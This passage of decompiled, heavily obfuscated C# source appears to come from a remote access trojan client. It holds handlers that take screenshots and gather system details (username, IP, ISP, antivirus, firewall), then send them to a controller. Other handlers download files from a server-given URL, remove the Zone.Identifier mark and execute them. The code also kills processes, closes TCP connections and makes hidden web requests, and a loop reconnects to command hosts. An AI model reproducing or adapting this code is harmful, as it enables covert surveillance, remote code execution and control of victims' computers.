			酞\ufae7ជ㹔쌿즄\uf384갋㓥黬成\uefafਠ虋ꉋ暸ꥰ赻宨つ = \ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌.LockBits(new Rectangle(0, 0, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Width, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Height), (ImageLockMode)3, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).PixelFormat);
			using MemoryStream memoryStream = new MemoryStream();
			val2.CodeImage(酞\ufae7ជ㹔쌿즄\uf384갋㓥黬成\uefafਠ虋ꉋ暸ꥰ赻宨つ.Scan0, new Rectangle(0, 0, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Width, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Height), new Size(((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Width, ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Height), ((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).PixelFormat, (Stream)memoryStream);
			client.Send<GetSystemSummaryDesktopImageResponse>(new GetSystemSummaryDesktopImageResponse
			{
				Image = memoryStream.ToArray(),
				Quality = val2.ImageQuality,
				Monitor = val2.Monitor,
				Resolution = val2.Resolution
			});
		}
		catch (Exception)
		{
		}
		finally
		{
			if (\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌 != null)
			{
				if (酞\ufae7ជ㹔쌿즄\uf384갋㓥黬成\uefafਠ虋ꉋ暸ꥰ赻宨つ != null)
				{
					try
					{
						\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌.UnlockBits(酞\ufae7ជ㹔쌿즄\uf384갋㓥黬成\uefafਠ虋ꉋ暸ꥰ赻宨つ);
					}
					catch
					{
					}
				}
				((Image)\ufaf2황ꗹ焘绅\u059a㽈挻⏴䥣ᬓ잩闭\uf516�噱\u1b37쭤ய賌).Dispose();
			}
			val2.Dispose();
		}
	}

	private void \uf74f퇴\uec2b\uf544\uf0c1닶磅㱡㵽뙜넎濵雰诤懤蠌왱Տ눬슋(ISender client, GetSystemInfo message)
	{
		//IL_01f3: Unknown result type (might be due to invalid IL or missing references)
		//IL_01f8: Unknown result type (might be due to invalid IL or missing references)
		//IL_0205: Expected O, but got Unknown
		try
		{
			IPGlobalProperties iPGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
			string item = ((!string.IsNullOrEmpty(iPGlobalProperties.DomainName)) ? iPGlobalProperties.DomainName : "-");
			string item2 = ((!string.IsNullOrEmpty(iPGlobalProperties.HostName)) ? iPGlobalProperties.HostName : "-");
			\u09b3ᓺꅌ쭸ਏᇤ�\u0ee6㼊∅瓺鼒꠴啙ᶂ鿼㝙\u09bb㹥ຬ obj = \ue2e0䈙ﻄ鬰Ꝃ\uf5ffぺဟ돲\ue899灠抿蚞፮髏ࣉ뤴≣ꋨꇕ.尭瓠Ꝫ亘琉馩蝟噞荲\uf868ꖛẳ挠ᳲ⣍㵛쾭턽胺ऱ();
			驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ obj2 = new 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ();
			List<Tuple<string, string>> systemInfos = new List<Tuple<string, string>>
			{
				new Tuple<string, string>("Processor (CPU)", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.CpuName),
				new Tuple<string, string>("Memory (RAM)", $"{\u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.TotalPhysicalMemory} MB"),
				new Tuple<string, string>("Video Card (GPU)", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.GpuName),
				new Tuple<string, string>("Username", obj2.UserName),
				new Tuple<string, string>("PC Name", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ῑ醤俀덒\u245f䍹꿂浗⠄ế�㵏㫢퇋蕄䛉헾㕘ꊔ绨()),
				new Tuple<string, string>("Domain Name", item),
				new Tuple<string, string>("Host Name", item2),
				new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
				new Tuple<string, string>("System Directory", Environment.SystemDirectory),
				new Tuple<string, string>("Uptime", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.ᾏ쓅䪜ꨋ짳\uf014挅蜻鞈�妗똏緵뤏㥘㊬⡘詡켝➭()),
				new Tuple<string, string>("MAC Address", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.MacAddress),
				new Tuple<string, string>("LAN IP Address", \u05b9싍\uee20误펋桹�☚\uf398屆ъ춬㑌࠷㴕黡\ue28d橂稝\ue372.LanIpAddress),
				new Tuple<string, string>("WAN IP Address", obj.IpAddress),
				new Tuple<string, string>("ASN", obj.Asn),
				new Tuple<string, string>("ISP", obj.Isp),
				new Tuple<string, string>("Antivirus", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.긩翌\ue176䘖�ꢂ쌮\uab6f䗿Ա쵺�\u1a6e岴⯒氉眰씈츆䥧()),
				new Tuple<string, string>("Firewall", \uf346홊봳\uf87c똟㲀䂿㇀鈄饉툠\ue1ae뼆叱偕\uf6b5鸮ᝮ팫ᒣ.\uec54虳뀼Ｅ\uf708⋩\ue68d䬳逸䫼ᘗ䪥\u0fb7쎓됺Ώ볿䋐腳�()),
				new Tuple<string, string>("Time Zone", obj.Timezone),
				new Tuple<string, string>("Country", obj.Country)
			};
			client.Send<GetSystemInfoResponse>(new GetSystemInfoResponse
			{
				SystemInfos = systemInfos
			});
		}
		catch
		{
		}
	}
}
public class \uef3c\u0fa2뚔뫾ᘅ\ue20bꤌ쒄ᗊ\ue658뼼濦\uf894㺓埭鬊䎑\ue0b0롺\u2daf : IMessageProcessor, IDisposable
{
	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ;

	private readonly WebClient 㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ;

	public \uef3c\u0fa2뚔뫾ᘅ\ue20bꤌ쒄ᗊ\ue658뼼濦\uf894㺓埭鬊䎑\ue0b0롺\u2daf(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		//IL_001a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0024: Expected O, but got Unknown
		囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ = client;
		((Client)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).ClientState += new ClientStateEventHandler(꺓褋䇍贋⽃㷲㈲⍼\ue5fe塥\u243b䖬㝊ڢ\u08cc\u1be7牃꧁锤߿);
		㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ = new WebClient
		{
			Proxy = null
		};
		㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.DownloadFileCompleted += \ue6f3刮\ueb20༕뭭\ue018릀\uecdeꎺ쳜\uf46f\uf2e9␛\uf139뿃㴁\uee56鬉抆擲;
	}

	private void 꺓褋䇍贋⽃㷲㈲⍼\ue5fe塥\u243b䖬㝊ڢ\u08cc\u1be7牃꧁锤߿(Client s, bool connected)
	{
		if (!connected && 㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.IsBusy)
		{
			㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.CancelAsync();
		}
	}

	public bool CanExecute(IMessage message)
	{
		if (message is GetProcesses || message is DoProcessStart)
		{
			return true;
		}
		return message is DoProcessEnd;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return ((object)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).Equals((object?)sender);
	}

	public void Execute(ISender sender, IMessage message)
	{
		GetProcesses val = (GetProcesses)(object)((message is GetProcesses) ? message : null);
		if (val == null)
		{
			DoProcessStart val2 = (DoProcessStart)(object)((message is DoProcessStart) ? message : null);
			if (val2 == null)
			{
				DoProcessEnd val3 = (DoProcessEnd)(object)((message is DoProcessEnd) ? message : null);
				if (val3 != null)
				{
					쾔㚀韈⺂\u0cd9舤蠭\ue511\uedd2䳬\u1739\u0f83㦍歋⡴�槱�‹伷(sender, val3);
				}
			}
			else
			{
				及錜胮터飞\uf49c�浓櫵\uf41a틑㋛ᇓ㓐凑좋㍈㧻隤ﺘ(sender, val2);
			}
		}
		else
		{
			ﵩ汹ﯮ怹⿓⻉읉冺\uf7d8裄㶰渴ꏴ\uf010ဗ눀뷓솈㳅Ή(sender, val);
		}
	}

	private void ﵩ汹ﯮ怹⿓⻉읉冺\uf7d8裄㶰渴ꏴ\uf010ဗ눀뷓솈㳅Ή(ISender client, GetProcesses message)
	{
		//IL_0013: Unknown result type (might be due to invalid IL or missing references)
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_0030: Unknown result type (might be due to invalid IL or missing references)
		//IL_003e: Unknown result type (might be due to invalid IL or missing references)
		//IL_004d: Expected O, but got Unknown
		//IL_005c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0061: Unknown result type (might be due to invalid IL or missing references)
		//IL_006d: Expected O, but got Unknown
		Process[] processes = Process.GetProcesses();
		Process[] array = (Process[])(object)new Process[processes.Length];
		for (int i = 0; i < processes.Length; i++)
		{
			Process val = new Process
			{
				Name = processes[i].ProcessName + ".exe",
				Id = processes[i].Id,
				MainWindowTitle = processes[i].MainWindowTitle
			};
			array[i] = val;
		}
		client.Send<GetProcessesResponse>(new GetProcessesResponse
		{
			Processes = array
		});
	}

	private void 及錜胮터飞\uf49c�浓櫵\uf41a틑㋛ᇓ㓐凑좋㍈㧻隤ﺘ(ISender client, DoProcessStart message)
	{
		//IL_00b5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ba: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c1: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cd: Expected O, but got Unknown
		//IL_001e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0023: Unknown result type (might be due to invalid IL or missing references)
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0036: Expected O, but got Unknown
		if (string.IsNullOrEmpty(message.FilePath))
		{
			if (!string.IsNullOrEmpty(message.DownloadUrl))
			{
				message.FilePath = ((message.fileExtension == null) ? FileHelper.GetTempFilePath(".exe") : FileHelper.GetTempFilePath("." + message.fileExtension));
				try
				{
					if (㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.IsBusy)
					{
						㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.CancelAsync();
						while (㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.IsBusy)
						{
							Thread.Sleep(50);
						}
					}
					㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message);
					return;
				}
				catch
				{
					client.Send<DoProcessResponse>(new DoProcessResponse
					{
						Action = (ProcessAction)0,
						Result = false
					});
					NativeMethods.DeleteFile(message.FilePath);
					return;
				}
			}
			client.Send<DoProcessResponse>(new DoProcessResponse
			{
				Action = (ProcessAction)0,
				Result = false
			});
		}
		else
		{
			ᙳ\ue318茙潃臗썛\ue64d虁對澓\u02d5\u0360传麁滫欈䠥愽괬䵭(message.FilePath, message.IsUpdate);
		}
	}

	private void \ue6f3刮\ueb20༕뭭\ue018릀\uecdeꎺ쳜\uf46f\uf2e9␛\uf139뿃㴁\uee56鬉抆擲(object sender, AsyncCompletedEventArgs e)
	{
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Expected O, but got Unknown
		DoProcessStart val = (DoProcessStart)e.UserState;
		if (e.Cancelled)
		{
			NativeMethods.DeleteFile(val.FilePath);
			return;
		}
		FileHelper.DeleteZoneIdentifier(val.FilePath);
		ᙳ\ue318茙潃臗썛\ue64d虁對澓\u02d5\u0360传麁滫欈䠥愽괬䵭(val.FilePath, val.IsUpdate);
	}

	private void ᙳ\ue318茙潃臗썛\ue64d虁對澓\u02d5\u0360传麁滫欈䠥愽괬䵭(string filePath, bool isUpdate)
	{
		//IL_002c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Unknown result type (might be due to invalid IL or missing references)
		//IL_004c: Expected O, but got Unknown
		//IL_008f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0094: Unknown result type (might be due to invalid IL or missing references)
		//IL_009b: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a7: Expected O, but got Unknown
		//IL_006e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
		//IL_007a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0086: Expected O, but got Unknown
		if (isUpdate)
		{
			try
			{
				new 걏鄺�羞π浳✜圵굘諧败\uec5c➘\uf0e0�勪㟚ㄷ銹䒀().裢뎺뛑旀�먣蟫꯷䒪�绝瘰\uf6c9䱎⌦ꛁ棘\ufe01㳱妘(filePath);
				囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ.炊⺘ 䢻戳北視얈禙壃�未셦\uf083ᔗ촆\uf33a囄空엽();
				return;
			}
			catch (Exception ex)
			{
				NativeMethods.DeleteFile(filePath);
				((Client)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).Send<SetStatus>(new SetStatus
				{
					Message = "Update failed: " + ex.Message
				});
				return;
			}
		}
		try
		{
			Process.Start(new ProcessStartInfo
			{
				UseShellExecute = true,
				FileName = filePath
			});
			((Client)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).Send<DoProcessResponse>(new DoProcessResponse
			{
				Action = (ProcessAction)0,
				Result = true
			});
		}
		catch (Exception)
		{
			((Client)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).Send<DoProcessResponse>(new DoProcessResponse
			{
				Action = (ProcessAction)0,
				Result = false
			});
		}
	}

	private void 쾔㚀韈⺂\u0cd9舤蠭\ue511\uedd2䳬\u1739\u0f83㦍歋⡴�槱�‹伷(ISender client, DoProcessEnd message)
	{
		//IL_0011: Unknown result type (might be due to invalid IL or missing references)
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0029: Expected O, but got Unknown
		//IL_002d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_0039: Unknown result type (might be due to invalid IL or missing references)
		//IL_0045: Expected O, but got Unknown
		try
		{
			Process.GetProcessById(message.Pid).Kill();
			client.Send<DoProcessResponse>(new DoProcessResponse
			{
				Action = (ProcessAction)1,
				Result = true
			});
		}
		catch
		{
			client.Send<DoProcessResponse>(new DoProcessResponse
			{
				Action = (ProcessAction)1,
				Result = false
			});
		}
	}

	public void Dispose()
	{
		Dispose(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected virtual void Dispose(bool disposing)
	{
		//IL_0011: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Expected O, but got Unknown
		if (disposing)
		{
			((Client)囑댋獸䒄\ufa6f\uea97৮됍뻡䡎ṁꂀ㚯�␄赩곞Ϸέᥙ).ClientState -= new ClientStateEventHandler(꺓褋䇍贋⽃㷲㈲⍼\ue5fe塥\u243b䖬㝊ڢ\u08cc\u1be7牃꧁锤߿);
			㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.DownloadFileCompleted -= \ue6f3刮\ueb20༕뭭\ue018릀\uecdeꎺ쳜\uf46f\uf2e9␛\uf139뿃㴁\uee56鬉抆擲;
			㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.CancelAsync();
			㵾\uf61b涞һ쁵焕걏ऋ䣮럢狟⌱暡ж갲�⍏麯�ﶀ.Dispose();
		}
	}
}
public class 膮唋\uf7a1䳢芵\ue4d8䢚瞺趫㈹♇빞频耳优ꅍ�跣⸧騒 : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		if (!(message is GetConnections))
		{
			return message is DoCloseConnection;
		}
		return true;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		GetConnections val = (GetConnections)(object)((message is GetConnections) ? message : null);
		if (val == null)
		{
			DoCloseConnection val2 = (DoCloseConnection)(object)((message is DoCloseConnection) ? message : null);
			if (val2 != null)
			{
				ꜘㅁ⼦⺨ꧼ抉茻ᇍ婣\u10cf靃䎏嗀㗹\u2ef5컶恖⇲\ufb3dƳ(sender, val2);
			}
		}
		else
		{
			콏\ue795㥎頴ꪦ☛ꊮ\ue5e7\uf478蛭镺굛ṗ䲂뛐묻⇥舚님棼(sender, val);
		}
	}

	private void 콏\ue795㥎頴ꪦ☛ꊮ\ue5e7\uf478蛭镺굛ṗ䲂뛐묻⇥舚님棼(ISender client, GetConnections message)
	{
		//IL_0052: Unknown result type (might be due to invalid IL or missing references)
		//IL_0057: Unknown result type (might be due to invalid IL or missing references)
		//IL_005e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0075: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Unknown result type (might be due to invalid IL or missing references)
		//IL_009e: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c4: Expected O, but got Unknown
		//IL_00d2: Unknown result type (might be due to invalid IL or missing references)
		//IL_00d7: Unknown result type (might be due to invalid IL or missing references)
		//IL_00e3: Expected O, but got Unknown
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid[] array = 齽䥑캴ภ㾢쐡Ʀ䥲䇖ƌ\uec8b社ꋌ稥竩\u08ee믖휂ꑬ啌();
		TcpConnection[] array2 = (TcpConnection[])(object)new TcpConnection[array.Length];
		for (int i = 0; i < array.Length; i++)
		{
			string processName;
			try
			{
				processName = Process.GetProcessById((int)array[i].owningPid).ProcessName;
			}
			catch
			{
				processName = $"PID: {array[i].owningPid}";
			}
			array2[i] = new TcpConnection
			{
				ProcessName = processName,
				LocalAddress = array[i].LocalAddress.ToString(),
				LocalPort = array[i].LocalPort,
				RemoteAddress = array[i].RemoteAddress.ToString(),
				RemotePort = array[i].RemotePort,
				State = (ConnectionState)(byte)array[i].state
			};
		}
		client.Send<GetConnectionsResponse>(new GetConnectionsResponse
		{
			Connections = array2
		});
	}

	private void ꜘㅁ⼦⺨ꧼ抉茻ᇍ婣\u10cf靃䎏嗀㗹\u2ef5컶恖⇲\ufb3dƳ(ISender client, DoCloseConnection message)
	{
		//IL_00ac: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b6: Expected O, but got Unknown
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid[] array = 齽䥑캴ภ㾢쐡Ʀ䥲䇖ƌ\uec8b社ꋌ稥竩\u08ee믖휂ꑬ啌();
		for (int i = 0; i < array.Length; i++)
		{
			if (message.LocalAddress == array[i].LocalAddress.ToString() && message.LocalPort == array[i].LocalPort && message.RemoteAddress == array[i].RemoteAddress.ToString() && message.RemotePort == array[i].RemotePort)
			{
				array[i].state = 12u;
				IntPtr intPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(array[i]));
				Marshal.StructureToPtr(array[i], intPtr, fDeleteOld: false);
				瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.괧䊭怰䡿봱퐾ࢭ㸧ꟶ첇磌\uf5df㹲캅昸凉岀䨑㹻ꌑ(intPtr);
				콏\ue795㥎頴ꪦ☛ꊮ\ue5e7\uf478蛭镺굛ṗ䲂뛐묻⇥舚님棼(client, new GetConnections());
				break;
			}
		}
	}

	private 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid[] 齽䥑캴ภ㾢쐡Ʀ䥲䇖ƌ\uec8b社ꋌ稥竩\u08ee믖휂ꑬ啌()
	{
		int ipVersion = 2;
		int dwOutBufLen = 0;
		瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.墹ᆎ運\u0c5b觎༥\uedf9춪\ue216骣ꌮ뗲墾腌\ua953嚤\ufffa爬エ禒(IntPtr.Zero, ref dwOutBufLen, sort: true, ipVersion, 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.TcpTableClass.TcpTableOwnerPidAll);
		IntPtr intPtr = Marshal.AllocHGlobal(dwOutBufLen);
		try
		{
			if (瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.墹ᆎ運\u0c5b觎༥\uedf9춪\ue216骣ꌮ뗲墾腌\ua953嚤\ufffa爬エ禒(intPtr, ref dwOutBufLen, sort: true, ipVersion, 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.TcpTableClass.TcpTableOwnerPidAll) != 0)
			{
				return null;
			}
			瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcptableOwnerPid mibTcptableOwnerPid = (瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcptableOwnerPid)Marshal.PtrToStructure(intPtr, typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcptableOwnerPid));
			IntPtr intPtr2 = (IntPtr)((long)intPtr + Marshal.SizeOf(mibTcptableOwnerPid.dwNumEntries));
			瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid[] array = new 瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid[mibTcptableOwnerPid.dwNumEntries];
			for (int i = 0; i < mibTcptableOwnerPid.dwNumEntries; i++)
			{
				瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid structure = (array[i] = (瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid)Marshal.PtrToStructure(intPtr2, typeof(瞸\ue705簍灯斡㫚뢷倛灛斔㌦鲴䝜\u1063ꩊ韏퍂눬椖暰.MibTcprowOwnerPid)));
				intPtr2 = (IntPtr)((long)intPtr2 + Marshal.SizeOf(structure));
			}
			return array;
		}
		finally
		{
			Marshal.FreeHGlobal(intPtr);
		}
	}
}
public class 蚜㏄ﲿᾣ芏ꍃꪄ蓄⣱㒚\uf01e\uf5e1烅㳝瞅ꚠ啛\uec33ꥮ璜 : IMessageProcessor
{
	public bool CanExecute(IMessage message)
	{
		return message is DoVisitWebsite;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoVisitWebsite val = (DoVisitWebsite)(object)((message is DoVisitWebsite) ? message : null);
		if (val != null)
		{
			ꀬ섕襬落툰ᲇ侔ꮋꛓᥲﭲ硟礜ӆ꿧ᣘ鲨귾\ued21発(sender, val);
		}
	}

	private void ꀬ섕襬落툰ᲇ侔ꮋꛓᥲﭲ硟礜ӆ꿧ᣘ鲨귾\ued21発(ISender client, DoVisitWebsite message)
	{
		//IL_008c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0091: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a1: Expected O, but got Unknown
		string text = message.Url;
		if (!text.StartsWith("http"))
		{
			text = "http://" + text;
		}
		if (!Uri.IsWellFormedUriString(text, UriKind.RelativeOrAbsolute))
		{
			return;
		}
		if (!message.Hidden)
		{
			Process.Start(text);
		}
		else
		{
			try
			{
				HttpWebRequest obj = (HttpWebRequest)WebRequest.Create(text);
				obj.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
				obj.AllowAutoRedirect = true;
				obj.Timeout = 10000;
				obj.Method = "GET";
				using ((HttpWebResponse)obj.GetResponse())
				{
				}
			}
			catch
			{
			}
		}
		client.Send<SetStatus>(new SetStatus
		{
			Message = "Visited Website"
		});
	}
}
public class \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 : Client, IDisposable
{
	private bool 鯲礜挭��ꈹⰗ啫ⱏ岳Ⓕ㈫踻柴双餃籽芼ⱍ篚;

	private readonly HostsManager 䶋탤\uebf2㎃툃᭦렂�峏䳴\uf59d쵧㙩�꿖鄊ⱋ痶칍韡;

	private readonly SafeRandom 馼造扨곝㮹㭛孼뭑\ua981\u0f3eକ\uef2f嫓所➚\u2e70볬鳆\ue8b7\uf867;

	private readonly CancellationTokenSource 選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜;

	private readonly CancellationToken 漥ᯍ䊒錈ʵ㍬塦\u2d71玁ⶰ캖웝㚢╫竲�ងꑄ笯煩;

	public \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混(HostsManager hostsManager, X509Certificate2 serverCertificate)
		: base(serverCertificate)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0019: Expected O, but got Unknown
		//IL_0021: Unknown result type (might be due to invalid IL or missing references)
		//IL_002b: Expected O, but got Unknown
		//IL_0033: Unknown result type (might be due to invalid IL or missing references)
		//IL_003d: Expected O, but got Unknown
		//IL_0045: Unknown result type (might be due to invalid IL or missing references)
		//IL_004f: Expected O, but got Unknown
		䶋탤\uebf2㎃툃᭦렂�峏䳴\uf59d쵧㙩�꿖鄊ⱋ痶칍韡 = hostsManager;
		馼造扨곝㮹㭛孼뭑\ua981\u0f3eକ\uef2f嫓所➚\u2e70볬鳆\ue8b7\uf867 = new SafeRandom();
		((Client)this).ClientState += new ClientStateEventHandler(튥\uf7a5ﲞ鱇䣒狚롉\u2de4\ue478寵�俺籕⦻鲉춇켅\uedf7Ṋ꺹);
		((Client)this).ClientRead += new ClientReadEventHandler(꘏⯺䄮⫽촧㥻돒겡\ue8ec됡⎢䮯�᧾\ueb6b\ue1f6␓ϕȺ쎮);
		((Client)this).ClientFail += new ClientFailEventHandler(飊曙⚘푴읨諝ᵥ诪鈶섔몋麳稅帛\u0c5b譓떨\uf5fe恍郌);
		選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜 = new CancellationTokenSource();
		漥ᯍ䊒錈ʵ㍬塦\u2d71玁ⶰ캖웝㚢╫竲�ងꑄ笯煩 = 選웭臡힝\u0f8d뫖⊺ꪩ楿骁Ì띏ꡳ\u0e47\u1babᐅ綨䘹ẝ洜.Token;
	}

	public void ꔜ邅暕惙紕痧쳣ҵ�싸ʻ恧볽鉼䧞뮀㍪頕텞뚧()
	{
		while (true)
		{
			CancellationToken cancellationToken = 漥ᯍ䊒錈ʵ㍬塦\u2d71玁ⶰ캖웝㚢╫竲�ងꑄ笯煩;
			if (cancellationToken.IsCancellationRequested)
			{
				break;
			}
			if (!((Client)this).Connected)
			{
				Host nextHost = 䶋탤\uebf2㎃툃᭦렂�峏䳴\uf59d쵧㙩�꿖鄊ⱋ痶칍韡.GetNextHost();
				((Client)this).Connect(nextHost.IpAddress, nextHost.Port);
			}
			while (((Client)this).Connected)
			{
				try
				{
